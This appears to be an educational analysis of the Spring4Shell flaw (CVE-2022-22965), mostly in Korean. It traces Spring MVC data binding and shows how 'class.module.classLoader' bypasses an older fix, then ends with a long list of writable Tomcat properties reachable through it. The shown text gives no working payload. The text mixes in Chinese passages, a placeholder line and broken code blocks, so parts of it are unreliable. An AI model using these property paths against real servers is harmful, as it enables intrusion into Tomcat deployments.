
CVE-2022-22965에 대한 교육용 분석 및 개념 증명 익스플로잇, JDK 9+ 및 Tomcat WAR 배포 환경에서 데이터 바인딩을 통한 Spring MVC/WebFlux 원격 코드 실행 취약점.
최근 Spring에서 대규모 CVE 취약점이 발견되었습니다. CVE 정보에 따르면 "A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.(JDK 9+에서 실행되는 Spring MVC 또는 Spring WebFlux 애플리케이션은 데이터 바인딩을 통한 원격 코드 실행(RCE)에 취약할 수 있습니다. 구체적인 악용을 위해서는 애플리케이션이 WAR 배포로 Tomcat에서 실행되어야 합니다. 애플리케이션이 Spring Boot 실행 가능 jar(기본값)로 배포된 경우 악용에 취약하지 않습니다. 그러나 취약점의 성격은 더 일반적이며 이를 악용할 수 있는 다른 방법이 있을 수 있습니다.)" 본 분석은 해당 CVE를 재현하여 취약점 원리를 학습합니다.
Spring MVC의 매개변수 바인딩 원리를 살펴보기 전에 Java Bean 관련 API를 먼저 살펴보겠습니다.
다음과 같은 Java Bean 클래스를 선언합니다:```java public class User { private String name;
public User() {
}
public void setName(String name) {
this.name = name;
}
public String getName() {
return this.name;
}
public int getAge() {
return 18;
}
}
다음 테스트 코드를 통해 Introspector.getBeanInfo가 가져오는 정보를 확인해보겠습니다.```java
@Test
public void testIntrospector() throws IntrospectionException {
BeanInfo beanInfo = Introspector.getBeanInfo(User.class);
for (PropertyDescriptor pdesc:beanInfo.getPropertyDescriptors()){
System.out.println("Property: " + pdesc.getName() + ",Class:" + pdesc.getPropertyType());
}
// for (MethodDescriptor md:beanInfo.getMethodDescriptors()) {
// System.out.println("Method: " + md.getName());
// }
}
(no content provided)```text Property: age,Class:int Property: class,Class:class java.lang.Class Property: name,Class:class java.lang.String
예상한 age와 그 외에도 class 속성이 하나 더 있습니다. 클래스 이름은 Class입니다. 만약 계속해서 Introspector.getBeanInfo(Class.class)를 호출하면 classLoader 등 더 많은 정보를 얻을 수 있습니다:```text jdk11:
Property: annotatedInterfaces
Property: annotatedSuperclass
Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
Property: declaredConstructors
Property: declaredFields
Property: declaredMethods
Property: declaringClass
Property: enclosingClass
Property: enclosingConstructor
Property: enclosingMethod
Property: enum
Property: enumConstants
Property: fields
Property: genericInterfaces
Property: genericSuperclass
Property: interface
Property: interfaces
Property: localClass
Property: memberClass
Property: methods
Property: modifiers
Property: module
Property: name
Property: nestHost
Property: nestMembers
Property: package
Property: packageName
Property: primitive
Property: protectionDomain
Property: signers
Property: simpleName
Property: superclass
Property: synthetic
Property: typeName
Property: typeParameters
또한 다른 JDK 버전에서 Introspector.getBeanInfo(Class.class)로 얻은 정보의 차이를 비교해 보면, 위쪽은 jdk-11에서의 출력이고, 아래쪽은 JDK8에서의 출력입니다:```text jdk8: Property: annotatedInterfaces Property: annotatedSuperclass Property: annotation Property: annotations Property: anonymousClass Property: array Property: canonicalName Property: class Property: classLoader Property: classes Property: componentType Property: constructors Property: declaredAnnotations Property: declaredClasses Property: declaredConstructors Property: declaredFields Property: declaredMethods Property: declaringClass Property: enclosingClass Property: enclosingConstructor Property: enclosingMethod Property: enum Property: enumConstants Property: fields Property: genericInterfaces Property: genericSuperclass Property: interface Property: interfaces Property: localClass Property: memberClass Property: methods Property: modifiers Property: name Property: package Property: primitive Property: protectionDomain Property: signers Property: simpleName Property: superclass Property: synthetic Property: typeName Property: typeParameters
````text
Property: annotatedInterfaces
Property: annotatedSuperclass
Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
Property: declaredConstructors
Property: declaredFields
Property: declaredMethods
Property: declaringClass
Property: enclosingClass
Property: enclosingConstructor
Property: enclosingMethod
Property: enum
Property: enumConstants
Property: fields
Property: genericInterfaces
Property: genericSuperclass
Property: interface
Property: interfaces
Property: localClass
Property: memberClass
Property: methods
Property: modifiers
Property: module
Property: name
Property: package
Property: packageName
Property: primitive
Property: protectionDomain
Property: signers
Property: simpleName
Property: superclass
Property: synthetic
Property: typeName
Property: typeParameters
jdk9는 JDK8에 비해 module과 packageName 두 가지 속성이 더 있으며, JDK11에서는 module과 packageName 속성 외에도 nestHost와 nestMembers라는 두 가지 속성이 더 있습니다.
웹 프레임워크의 매개변수 바인딩 과정을 쉽게 말하면, 프레임워크가 HTTP 요청의 문자열 형태의 매개변수를 서버가 실제로 필요한 타입으로 변환하는 과정입니다. Spring MVC를 예로 들면: User와 UserInfo 두 개의 Bean 클래스를 정의합니다:```java public class UserInfo { public User getUser() { return user; }
public void setUser(User user) {
this.user = user;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
private User user;
private String password;
@Override
public String toString() {
return "UserInfo{" +
"user=" + user +
", password='" + password + '\'' +
'}';
}
}
다음과 같은 컨트롤러를 테스트로 사용하세요:```java
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class DemoController {
public DemoController() {
}
@RequestMapping({"/test"})
public String test(User u) {
System.out.println("access!");
return "home";
}
@RequestMapping({"/get-user-info"})
public String getUserInfo(UserInfo userInfo) {
System.out.println("Name:" + userInfo.getUser().getName());
System.out.println("Age:" + userInfo.getUser().getAge());
System.out.println("password:" + userInfo.getPassword());
System.out.println("classLoader:" + userInfo.getClass().getClassLoader());
return userInfo.toString();
}
}
当我们访问/get-user-info?password=password&user.name=enokiy时,框架会自动的实例化UserInfo类,并且把对应的值绑定到对应的属性上(通过user.name可以嵌套访问userInfo.user.name属性):

我们通过调试来看下spring MVC中数据绑定的完整流程: 从org.springframework.web.servlet.DispatcherServlet的doDispatch方法开始,doDispatch方法中首先根据请求获取到mappedHandler,然后再获取到HandlerAdapter,通过调用HandlerAdapter的handle()方法对请求进行具体处理然后返回ModelAndView:

其中在HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler()) 这里获取到的ha实际为org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter类,执行HandlerAdapter的handle()方法后,进入RequestMappingHandlerAdapter的invokeHandleMethod方法:

然后在invokeHandleMethod方法中,根据handlerMethod生成一个ServletInvocableHandlerMethod的实例invocableMethod,设置相应的dataBinderFactory和modelFactory以及argumentResolvers,接着进入invocableMethod的invokeAndHandle-->invokeForRequest-->getMethodArgumentValues方法中通过不同的参数解析器进行解析:

这里的参数解析器有以下这些:```text org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestPartMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletCookieValueMethodArgumentResolver org.springframework.web.method.annotation.ExpressionValueMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.SessionAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.RequestAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletRequestMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletResponseMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.HttpEntityMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RedirectAttributesMethodArgumentResolver org.springframework.web.method.annotation.ModelMethodProcessor org.springframework.web.method.annotation.MapMethodProcessor org.springframework.web.method.annotation.ErrorsMethodArgumentResolver org.springframework.web.method.annotation.SessionStatusMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.UriComponentsBuilderMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor
그렇다면 현재 요청의 파라미터를 해석하기 위해 구체적으로 어떤 파라미터 리졸버를 선택해야 하는지 어떻게 알 수 있을까? Spring MVC에서는 파라미터의 애노테이션 정보를 기준으로 판단합니다 (코드 로직은 `HandlerMethodArgumentResolverComposite#getArgumentResolver` 메서드에 있습니다). 예를 들어 `@RequestMapping` 및 `@ModelAttribute` 애노테이션을 사용하는 경우 `org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor`를 사용하고, `@RequestParam`은 `RequestParamMethodArgumentResolver` 등에 해당합니다.
현재 데모에서 사용된 애노테이션은 `@RequestMapping`이므로, 우리는 `ServletModelAttributeMethodProcessor` 클래스에서 파라미터 바인딩 과정을 계속 살펴보겠습니다.```java
public final Object resolveArgument(MethodParameter parameter, @Nullable ModelAndViewContainer mavContainer,
NativeWebRequest webRequest, @Nullable WebDataBinderFactory binderFactory) throws Exception {
Assert.state(mavContainer != null, "ModelAttributeMethodProcessor requires ModelAndViewContainer");
Assert.state(binderFactory != null, "ModelAttributeMethodProcessor requires WebDataBinderFactory");
String name = ModelFactory.getNameForParameter(parameter);
ModelAttribute ann = parameter.getParameterAnnotation(ModelAttribute.class);
if (ann != null) {
mavContainer.setBinding(name, ann.binding());
}
Object attribute = null;
BindingResult bindingResult = null;
if (mavContainer.containsAttribute(name)) {
attribute = mavContainer.getModel().get(name);
}
else {
// Create attribute instance
try {
attribute = createAttribute(name, parameter, binderFactory, webRequest);
}
catch (BindException ex) {
if (isBindExceptionRequired(parameter)) {
// No BindingResult parameter -> fail with BindException
throw ex;
}
// Otherwise, expose null/empty value and associated BindingResult
if (parameter.getParameterType() == Optional.class) {
attribute = Optional.empty();
}
bindingResult = ex.getBindingResult();
}
}
if (bindingResult == null) {
// Bean property binding and validation;
// skipped in case of binding failure on construction.
WebDataBinder binder = binderFactory.createBinder(webRequest, attribute, name);
if (binder.getTarget() != null) {
if (!mavContainer.isBindingDisabled(name)) {
bindRequestParameters(binder, webRequest);
}
validateIfApplicable(binder, parameter);
if (binder.getBindingResult().hasErrors() && isBindExceptionRequired(binder, parameter)) {
throw new BindException(binder.getBindingResult());
}
}
// Value type adaptation, also covering java.util.Optional
if (!parameter.getParameterType().isInstance(attribute)) {
attribute = binder.convertIfNecessary(binder.getTarget(), parameter.getParameterType(), parameter);
}
bindingResult = binder.getBindingResult();
}
// Add resolved attribute and BindingResult at the end of the model
Map<String, Object> bindingResultModel = bindingResult.getModel();
mavContainer.removeAttributes(bindingResultModel);
mavContainer.addAllAttributes(bindingResultModel);
return attribute;
}
根据 요청 파라미터에서 model의 속성 이름을 가져옵니다. 먼저 ModelAndViewContainer에 해당 속성 이름이 포함되어 있는지 확인합니다. 포함되어 있으면 ModelAndViewContainer에서 직접 속성을 가져오고, 그렇지 않으면 ServletModelAttributeMethodProcessor#createAttribute 메서드로 이동하여 model의 속성을 생성합니다.
먼저 현재 클래스에서 요청의 uri와 parameter에 속성 이름(getRequestValueForAttribute 메서드)이 포함되어 있는지 처리합니다. 포함되어 있으면 반환하고, 그렇지 않으면 super.createAttribute 메서드로 이동합니다.

binderFactory.createBinder: WebRequestDataBinder 생성
bindRequestParameters: ServletModelAttributeMethodProcessor#bindRequestParameters --> ServletRequestDataBinder#bind --> ServletRequestDataBinder#doBind -->DataBinder#doBind -->DataBinder#applyPropertyValues -->DataBinder#getPropertyAccessor().setPropertyValues:



그 중 DataBinder#doBind 메서드에는 allowFields와 requiredFields 검사가 있습니다. 현재 테스트 버전에서는 기본값이 비어 있습니다.

AbstractPropertyAccessor#setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid)에서 루프를 돌며 AbstractPropertyAccessor#setPropertyValue 메서드를 호출하여 각 요청 파라미터의 속성 값을 바인딩합니다. 바인딩 과정에서 파라미터 이름에 "."이 포함되어 있으면 getNestedPropertyAccessor를 호출하여 "." 뒤의 속성을 재귀적으로 바인딩해야 합니다.

재귀적으로 속성 값을 가져오는 과정은 다음과 같은 데이터 흐름 처리를 거칩니다.```text AbstractNestablePropertyAccessor#getNestedPropertyAccessor-->AbstractNestablePropertyAccessor#setDefaultValue-->AbstractNestablePropertyAccessor#createDefaultPropertyValue-->AbstractNestablePropertyAccessor#getPropertyTypeDescriptor-->BeanWrapperImpl#getLocalPropertyHandler-->BeanWrapperImpl#getCachedIntrospectionResults
그리고 `getLocalPropertyHandler`에서는 `getCachedIntrospectionResults` 메서드를 호출하여 `cachedIntrospectionResults`에서 현재 속성이 존재하는지 검색합니다. 이 `cachedIntrospectionResults`에는 현재 요청의 속성 외에도 `class`라는 기본 속성이 포함되어 있습니다.

앞서 설명한 introspection 메커니즘에서 BeanInfo를 가져올 때, Java Bean의 BeanInfo 클래스가 이전에 introspection된 적이 있다면 BeanInfo 캐시에서 BeanInfo 클래스를 검색한다고 언급했습니다. 따라서 여기서 `cachedIntrospectionResults`의 역할은 이 기능을 구현하기 위한 것입니다.

여기까지 springMVC에서 매개변수 바인딩 과정을 요약하면 다음과 같습니다.
1. SpringMVC 초기화 시, `RequestMappingHandlerAdapter` 클래스는 몇 가지 기본 매개변수 리졸버를 `argumentResolvers`에 추가합니다. SpringMVC가 요청을 수신하면 `DispatcherServlet`의 `doDispatch`로 진입하고, `doDispatch` 메서드는 먼저 요청에 따라 `mappedHandler`를 가져온 다음 `HandlerAdapter`를 가져와 `HandlerAdapter`의 `handle()` 메서드를 호출하여 요청을 구체적으로 처리하고 `ModelAndView`를 반환합니다. `ViewResolver`가 이를 해석하여 `View`를 반환하고, 프론트 리졸버가 최종적으로 뷰를 렌더링합니다.

2. `HandlerAdapter`의 `handle()` 메서드에서 요청을 구체적으로 처리하는 과정에서 `handlerMethod`를 기반으로 `ServletInvocableHandlerMethod` 인스턴스 `invocableMethod`를 생성하고, 해당 `dataBinderFactory`, `modelFactory` 및 `argumentResolvers`를 설정한 다음 `invocableMethod`의 `invokeAndHandle` -> `invokeForRequest` -> `getMethodArgumentValues` 메서드로 진입하여 다양한 매개변수 리졸버를 통해 해석합니다. 여기서 매개변수 리졸버는 매개변수의 애노테이션 정보를 기반으로 결정됩니다.
3. 매개변수 리졸버가 매개변수를 해석하여 요청 매개변수에 해당하는 `handlerMethod` 매개변수 이름의 인스턴스(속성)를 생성한 다음, `DataBinder`를 통해 최종적으로 `BeanWrapperImpl`로 진입하여 빈 관련 속성을 할당합니다. `BeanWrapperImpl`은 빈의 생성, 보유 및 수정 메서드를 구체적으로 구현합니다.
그 중 `setPropertyValue` 메서드는 매개변수 값을 지정된 빈의 관련 속성(list, map 등 포함)에 주입할 수 있으며, 동시에 중첩된 속성 값을 설정할 수도 있습니다.

Spring MVC의 데이터 바인딩(다양한 매개변수를 `@RequestMapping` 애노테이션이 붙은 요청 처리 메서드의 매개변수에 바인딩)이나 BeanFactory(`@Autowired` 애노테이션 처리) 모두 `BeanWrapper` 인터페이스를 사용합니다.
### 변수 덮어쓰기
위에서 언급한 `setPropertyValue` 메서드는 중첩된 속성을 설정할 때 `cachedIntrospectionResults`를 검색하며, `cachedIntrospectionResults`에는 요청의 매개변수 외에도 `class` 속성이 하나 더 포함되어 있으므로 요청에서 `class.classLoader.xx` 방식으로 `classLoader`의 속성에 접근할 수 있습니다. 이것이 Spring 초기 버전의 CVE-2010-1622 취약점입니다. 그리고 이번 CVE-2022-22965는 이 취약점의 방어 메커니즘을 우회한 것입니다.
`cachedIntrospectionResults`의 구성은 다음과 같습니다:

1. `Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO)`를 통해 `BeanClass`의 속성 정보를 추출합니다. `Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO)` 메서드는 `stopClass`를 지정하지 않았기 때문에 현재 클래스에서 속성을 찾을 수 없으면 부모 클래스로 검색합니다.
2. `Class` 클래스의 `ClassLoader`와 `protectionDomain` 속성을 비활성화합니다. 이것이 CVE-2010-1622의 방어 방식입니다.
글의 시작 부분에서 JDK 버전에 따라 `Introspector.getBeanInfo(xxx)`를 통해 얻는 속성 값이 다르다는 것을 비교했습니다. JDK 9 이상 버전에서는 `module`과 `packageName`이라는 두 가지 속성이 추가되었고, `module` 속성 아래에 `classLoader` 속성이 존재하므로 `module` 속성을 이용하여 `classLoader`에 접근할 수 있습니다. 이로써 CVE-2010-1622의 방어를 우회하여 변수 덮어쓰기를 수행할 수 있습니다.


### 취약점 악용
이 취약점의 본질적인 원인이 변수 덮어쓰기라는 것을 이해했으니, 취약점 악용 과정에서의 문제를 살펴보겠습니다.
1. 어떤 변수를 덮어쓸 수 있나요?
2. 덮어씌워진 변수가 어떤 영향을 미치나요?
이제 `class.module.classLoader`를 통해 변수 덮어쓰기 작업을 수행할 수 있다는 것을 알았습니다. 그렇다면 구체적으로 어떤 변수를 덮어쓸 수 있을까요? springmvc의 다양한 배포 시나리오에서 `classLoader`가 다르기 때문에 악용 방식은 통일되지 않습니다.
| 배포 형태 | classLoader |
| ---- | ---- |
| SpringBoot FatJar | `org.springframework.boot.loader.LaunchedURLClassLoader` |
| tomcat war | `org.apache.catalina.loader.ParallelWebappClassLoader` |
| jetty war | `org.eclipse.jetty.webapp.WebAppClassLoader` |
tomcat war 배포 환경(현재 테스트 환경: "apache-tomcat-8.5.8" + "jdk-11.0.1")에서 `class.module` 아래에서 접근 가능한 읽기/쓰기 속성은 다음과 같습니다(불완전하며, List/Map/Set 속성은 수집하지 않았습니다).
<details>
<summary>
클릭하여 class.module 아래에서 접근 가능한 읽기/쓰기 속성 보기
</summary>```text
class.module
class.module.classLoader.clearReferencesHttpClientKeepAliveThread
class.module.classLoader.clearReferencesLogFactoryRelease
class.module.classLoader.clearReferencesRmiTargets
class.module.classLoader.clearReferencesStopThreads
class.module.classLoader.clearReferencesStopTimerThreads
class.module.classLoader.delegate
class.module.classLoader.resources
class.module.classLoader.clearReferencesHttpClientKeepAliveThread
class.module.classLoader.resources
class.module.classLoader.resources.allowLinking
class.module.classLoader.resources.cacheMaxSize
class.module.classLoader.resources.cacheObjectMaxSize
class.module.classLoader.resources.cacheTtl
class.module.classLoader.resources.cachingAllowed
class.module.classLoader.resources.context
class.module.classLoader.resources.domain
class.module.classLoader.resources.trackLockedFiles
class.module.classLoader.resources.cacheMaxSize
class.module.classLoader.resources.cacheObjectMaxSize
class.module.classLoader.resources.cacheTtl
class.module.classLoader.resources.context
class.module.classLoader.resources.context.addWebinfClassesResources
class.module.classLoader.resources.context.allowCasualMultipartParsing
class.module.classLoader.resources.context.altDDName
class.module.classLoader.resources.context.antiResourceLocking
class.module.classLoader.resources.context.applicationEventListeners
class.module.classLoader.resources.context.applicationLifecycleListeners
class.module.classLoader.resources.context.backgroundProcessorDelay
class.module.classLoader.resources.context.charsetMapper
class.module.classLoader.resources.context.charsetMapperClass
class.module.classLoader.resources.context.clearReferencesHttpClientKeepAliveThread
class.module.classLoader.resources.context.clearReferencesRmiTargets
class.module.classLoader.resources.context.clearReferencesStopThreads
class.module.classLoader.resources.context.clearReferencesStopTimerThreads
class.module.classLoader.resources.context.cluster
class.module.classLoader.resources.context.configFile
class.module.classLoader.resources.context.configured
class.module.classLoader.resources.context.containerSciFilter
class.module.classLoader.resources.context.cookieProcessor
class.module.classLoader.resources.context.cookies
class.module.classLoader.resources.context.copyXML
class.module.classLoader.resources.context.crossContext
class.module.classLoader.resources.context.defaultContextXml
class.module.classLoader.resources.context.defaultWebXml
class.module.classLoader.resources.context.delegate
class.module.classLoader.resources.context.denyUncoveredHttpMethods
class.module.classLoader.resources.context.dispatchersUseEncodedPaths
class.module.classLoader.resources.context.displayName
class.module.classLoader.resources.context.distributable
class.module.classLoader.resources.context.docBase
class.module.classLoader.resources.context.domain
class.module.classLoader.resources.context.effectiveMajorVersion
class.module.classLoader.resources.context.effectiveMinorVersion
class.module.classLoader.resources.context.failCtxIfServletStartFails
class.module.classLoader.resources.context.fireRequestListenersOnFoards
class.module.classLoader.resources.context.ignoreAnnotations
class.module.classLoader.resources.context.instanceManager
class.module.classLoader.resources.context.j2EEApplication
class.module.classLoader.resources.context.j2EEServer
class.module.classLoader.resources.context.jarScanner
class.module.classLoader.resources.context.javaVMs
class.module.classLoader.resources.context.jndiExceptionOnFailedWrite
class.module.classLoader.resources.context.jspConfigDescriptor
class.module.classLoader.resources.context.loader
class.module.classLoader.resources.context.logEffectiveWebXml
class.module.classLoader.resources.context.loginConfig
class.module.classLoader.resources.context.manager
class.module.classLoader.resources.context.mapperContextRootRedirectEnabled
class.module.classLoader.resources.context.mapperDirectoryRedirectEnabled
class.module.classLoader.resources.context.name
class.module.classLoader.resources.context.namingContextListener
class.module.classLoader.resources.context.namingResources
class.module.classLoader.resources.context.originalDocBase
class.module.classLoader.resources.context.override
class.module.classLoader.resources.context.parent
class.module.classLoader.resources.context.parentClassLoader
class.module.classLoader.resources.context.path
class.module.classLoader.resources.context.preemptiveAuthentication
class.module.classLoader.resources.context.privileged
class.module.classLoader.resources.context.publicId
class.module.classLoader.resources.context.realm
class.module.classLoader.resources.context.reloadable
class.module.classLoader.resources.context.renewThreadsWhenStoppingContext
class.module.classLoader.resources.context.resourceOnlyServlets
class.module.classLoader.resources.context.resources
class.module.classLoader.resources.context.sendRedirectBody
class.module.classLoader.resources.context.server
class.module.classLoader.resources.context.sessionCookieDomain
class.module.classLoader.resources.context.sessionCookieName
class.module.classLoader.resources.context.sessionCookiePath
class.module.classLoader.resources.context.sessionCookiePathUsesTrailingSlash
class.module.classLoader.resources.context.sessionTimeout
class.module.classLoader.resources.context.startChildren
class.module.classLoader.resources.context.startStopThreads
class.module.classLoader.resources.context.startupTime
class.module.classLoader.resources.context.swallowAbortedUploads
class.module.classLoader.resources.context.swallowOutput
class.module.classLoader.resources.context.threadBindingListener
class.module.classLoader.resources.context.tldScanTime
class.module.classLoader.resources.context.tldValidation
class.module.classLoader.resources.context.unloadDelay
class.module.classLoader.resources.context.unpackWAR
class.module.classLoader.resources.context.useHttpOnly
class.module.classLoader.resources.context.useNaming
class.module.classLoader.resources.context.useRelativeRedirects
class.module.classLoader.resources.context.validateClientProvidedNewSessionId
class.module.classLoader.resources.context.webappVersion
class.module.classLoader.resources.context.workDir
class.module.classLoader.resources.context.wrapperClass
class.module.classLoader.resources.context.xmlBlockExternal
class.module.classLoader.resources.context.xmlNamespaceAware
class.module.classLoader.resources.context.xmlValidation
class.module.classLoader.resources.context.applicationEventListeners
class.module.classLoader.resources.context.applicationLifecycleListeners
class.module.classLoader.resources.context.authenticator.alwaysUseSession
class.module.classLoader.resources.context.authenticator.asyncSupported
class.module.classLoader.resources.context.authenticator.cache
class.module.classLoader.resources.context.authenticator.changeSessionIdOnAuthentication
class.module.classLoader.resources.context.authenticator.container
class.module.classLoader.resources.context.authenticator.disableProxyCaching
class.module.classLoader.resources.context.authenticator.domain
class.module.classLoader.resources.context.authenticator.next
class.module.classLoader.resources.context.authenticator.securePagesWithPragma
class.module.classLoader.resources.context.authenticator.secureRandomAlgorithm
class.module.classLoader.resources.context.authenticator.secureRandomClass
class.module.classLoader.resources.context.authenticator.secureRandomProvider
class.module.classLoader.resources.context.backgroundProcessorDelay
class.module.classLoader.resources.context.charsetMapper
class.module.classLoader.resources.context.configFile
class.module.classLoader.resources.context.cookieProcessor
class.module.classLoader.resources.context.effectiveMajorVersion
class.module.classLoader.resources.context.instanceManager
class.module.classLoader.resources.context.jarScanner
class.module.classLoader.resources.context.jarScanner.jarScanFilter
class.module.classLoader.resources.context.jarScanner.scanAllDirectories
class.module.classLoader.resources.context.jarScanner.scanAllFiles
class.module.classLoader.resources.context.jarScanner.scanBootstrapClassPath
class.module.classLoader.resources.context.jarScanner.scanClassPath
class.module.classLoader.resources.context.jarScanner.scanManifest
class.module.classLoader.resources.context.loader
class.module.classLoader.resources.context.loader.context
class.module.classLoader.resources.context.loader.delegate
class.module.classLoader.resources.context.loader.domain
class.module.classLoader.resources.context.loader.loaderClass
class.module.classLoader.resources.context.loader.reloadable
class.module.classLoader.resources.context.loginConfig
class.module.classLoader.resources.context.loginConfig.authMethod
class.module.classLoader.resources.context.loginConfig.errorPage
class.module.classLoader.resources.context.loginConfig.loginPage
class.module.classLoader.resources.context.loginConfig.realmName
class.module.classLoader.resources.context.manager
class.module.classLoader.resources.context.manager.context
class.module.classLoader.resources.context.manager.domain
class.module.classLoader.resources.context.manager.duplicates
class.module.classLoader.resources.context.manager.expiredSessions
class.module.classLoader.resources.context.manager.maxActive
class.module.classLoader.resources.context.manager.maxActiveSessions
class.module.classLoader.resources.context.manager.pathname
class.module.classLoader.resources.context.manager.processExpiresFrequency
class.module.classLoader.resources.context.manager.processingTime
class.module.classLoader.resources.context.manager.secureRandomAlgorithm
class.module.classLoader.resources.context.manager.secureRandomClass
class.module.classLoader.resources.context.manager.secureRandomProvider
class.module.classLoader.resources.context.manager.sessionAttributeNameFilter
class.module.classLoader.resources.context.manager.sessionAttributeValueClassNameFilter
class.module.classLoader.resources.context.manager.sessionCounter
class.module.classLoader.resources.context.manager.sessionIdGenerator
class.module.classLoader.resources.context.manager.sessionMaxAliveTime
class.module.classLoader.resources.context.manager.warnOnSessionAttributeFilterFailure
class.module.classLoader.resources.context.namingContextListener
class.module.classLoader.resources.context.namingContextListener.exceptionOnFailedWrite
class.module.classLoader.resources.context.namingContextListener.name
class.module.classLoader.resources.context.namingResources
class.module.classLoader.resources.context.namingResources.container
class.module.classLoader.resources.context.namingResources.domain
class.module.classLoader.resources.context.namingResources.transaction
class.module.classLoader.resources.context.parent
class.module.classLoader.resources.context.parent.appBase
class.module.classLoader.resources.context.parent.autoDeploy
class.module.classLoader.resources.context.parent.backgroundProcessorDelay
class.module.classLoader.resources.context.parent.cluster
class.module.classLoader.resources.context.parent.configClass
class.module.classLoader.resources.context.parent.contextClass
class.module.classLoader.resources.context.parent.copyXML
class.module.classLoader.resources.context.parent.createDirs
class.module.classLoader.resources.context.parent.deployIgnore
class.module.classLoader.resources.context.parent.deployOnStartup
class.module.classLoader.resources.context.parent.deployXML
class.module.classLoader.resources.context.parent.domain
class.module.classLoader.resources.context.parent.errorReportValveClass
class.module.classLoader.resources.context.parent.failCtxIfServletStartFails
class.module.classLoader.resources.context.parent.name
class.module.classLoader.resources.context.parent.parent
class.module.classLoader.resources.context.parent.parentClassLoader
class.module.classLoader.resources.context.parent.realm
class.module.classLoader.resources.context.parent.startChildren
class.module.classLoader.resources.context.parent.startStopThreads
class.module.classLoader.resources.context.parent.undeployOldVersions
class.module.classLoader.resources.context.parent.unpackWARs
class.module.classLoader.resources.context.parent.workDir
class.module.classLoader.resources.context.parent.xmlBase
class.module.classLoader.resources.context.pipeline.basic
class.module.classLoader.resources.context.pipeline.container
class.module.classLoader.resources.context.realm
class.module.classLoader.resources.context.realm.allRolesMode
class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
class.module.classLoader.resources.context.realm.cacheSize
class.module.classLoader.resources.context.realm.container
class.module.classLoader.resources.context.realm.credentialHandler
class.module.classLoader.resources.context.realm.domain
class.module.classLoader.resources.context.realm.failureCount
class.module.classLoader.resources.context.realm.lockOutTime
class.module.classLoader.resources.context.realm.realmPath
class.module.classLoader.resources.context.realm.stripRealmForGss
class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
class.module.classLoader.resources.context.realm.validate
class.module.classLoader.resources.context.realm.x509UsernameRetrieverClassName
class.module.classLoader.resources.context.sessionTimeout
class.module.classLoader.resources.context.startupTime
class.module.classLoader.resources.context.threadBindingListener
class.module.classLoader.resources.context.unloadDelay
class.module.classLoader.resources.context.authenticator.next
class.module.classLoader.resources.context.authenticator.next.asyncSupported
class.module.classLoader.resources.context.authenticator.next.container
class.module.classLoader.resources.context.authenticator.next.domain
class.module.classLoader.resources.context.authenticator.next.next
class.module.classLoader.resources.context.jarScanner.jarScanFilter
class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultPluggabilityScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultTldScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilityScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilitySkip
class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldSkip
class.module.classLoader.resources.context.manager.engine.backgroundProcessorDelay
class.module.classLoader.resources.context.manager.engine.cluster
class.module.classLoader.resources.context.manager.engine.defaultHost
class.module.classLoader.resources.context.manager.engine.domain
class.module.classLoader.resources.context.manager.engine.jvmRoute
class.module.classLoader.resources.context.manager.engine.name
class.module.classLoader.resources.context.manager.engine.parent
class.module.classLoader.resources.context.manager.engine.parentClassLoader
class.module.classLoader.resources.context.manager.engine.realm
class.module.classLoader.resources.context.manager.engine.service
class.module.classLoader.resources.context.manager.engine.startChildren
class.module.classLoader.resources.context.manager.engine.startStopThreads
class.module.classLoader.resources.context.manager.processExpiresFrequency
class.module.classLoader.resources.context.manager.sessionIdGenerator
class.module.classLoader.resources.context.manager.sessionIdGenerator.jvmRoute
class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomAlgorithm
